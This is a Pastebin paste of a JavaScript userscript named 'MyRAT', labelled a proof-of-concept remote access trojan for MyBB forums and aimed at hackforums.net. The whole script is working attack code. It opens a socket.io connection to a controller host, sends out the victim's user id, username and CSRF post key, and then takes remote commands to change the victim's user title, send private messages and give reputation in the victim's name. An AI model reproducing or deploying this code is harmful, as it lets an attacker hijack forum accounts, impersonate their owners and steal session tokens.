Guest User

Untitled

a guest
May 28th, 2018
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name          MyRAT
  3. // @namespace     Steve/2758907
  4. // @description   Proof of concept RAT for MyBB forums.
  5. // @include       https://hackforums.net*
  6. // @require       https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js
  7. // @require       https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.1.0/socket.io.js
  8. // ==/UserScript==
  9.  
  10.  
  11. $(document).ready(function() {
  12.     function loadSocket() {
  13.         if (io == 'undefined') {
  14.             window.setTimeout(loadSocket, 100);
  15.         } else {
  16.             var socket = io.connect('http://192.168.1.17');
  17.            
  18.             socket.on('new_command', function(data) {
  19.                 data = JSON.parse(data);
  20.                 switch(data.name) {
  21.                     case "changeUsertitle":
  22.                         changeUsertitle(data.input);
  23.                         break;
  24.                     case "sendPM":
  25.                         sendPM(data.input);
  26.                         break;
  27.                     case "giveRep":
  28.                         giveRep(data.input);
  29.                         break;
  30.                     default:
  31.                         break;
  32.                 }
  33.                
  34.             });
  35.            
  36.             let send_data = {
  37.                 "uid": $('.welcome').find('a[href*="member.php"]').attr('href').split("uid=")[1],
  38.                 "my_post_key": my_post_key,
  39.                 "username":  $('.welcome').find('a[href*="member.php"]').html()
  40.             };
  41.            
  42.             socket.emit('new_user', send_data);
  43.         }
  44.     }
  45.    
  46.     loadSocket();
  47. });
  48.  
  49. function changeUsertitle(input) {
  50.     var formData = {
  51.         my_post_key: my_post_key,
  52.         action: 'do_profile',
  53.         usertitle: input,
  54.         birthdayprivacy: 'none'
  55.     }
  56.    
  57.     $.post("usercp.php", formData, function(data) {
  58.         console.log(data);
  59.     });
  60. }
  61.  
  62. function sendPM(input) {
  63.     var formData = {
  64.         my_post_key: my_post_key,
  65.         action: 'do_send',
  66.         to: input.sendto,
  67.         subject: input.subject,
  68.         message: input.message,
  69.         options: {signature: 1}
  70.     }
  71.    
  72.     $.post("private.php", formData, function(data) {
  73.         console.log(data);
  74.     });
  75. }
  76.  
  77. function giveRep(input) {
  78.     var formData = {
  79.         my_post_key: my_post_key,
  80.         action: 'do_add',
  81.         uid: input.giveto,
  82.         reputation: input.amount,
  83.         comments: input.message
  84.     }
  85.    
  86.     $.post("reputation.php", formData, function(data) {
  87.         console.log(data);
  88.     });
  89. }
Advertisement
Add Comment
Please, Sign In to add comment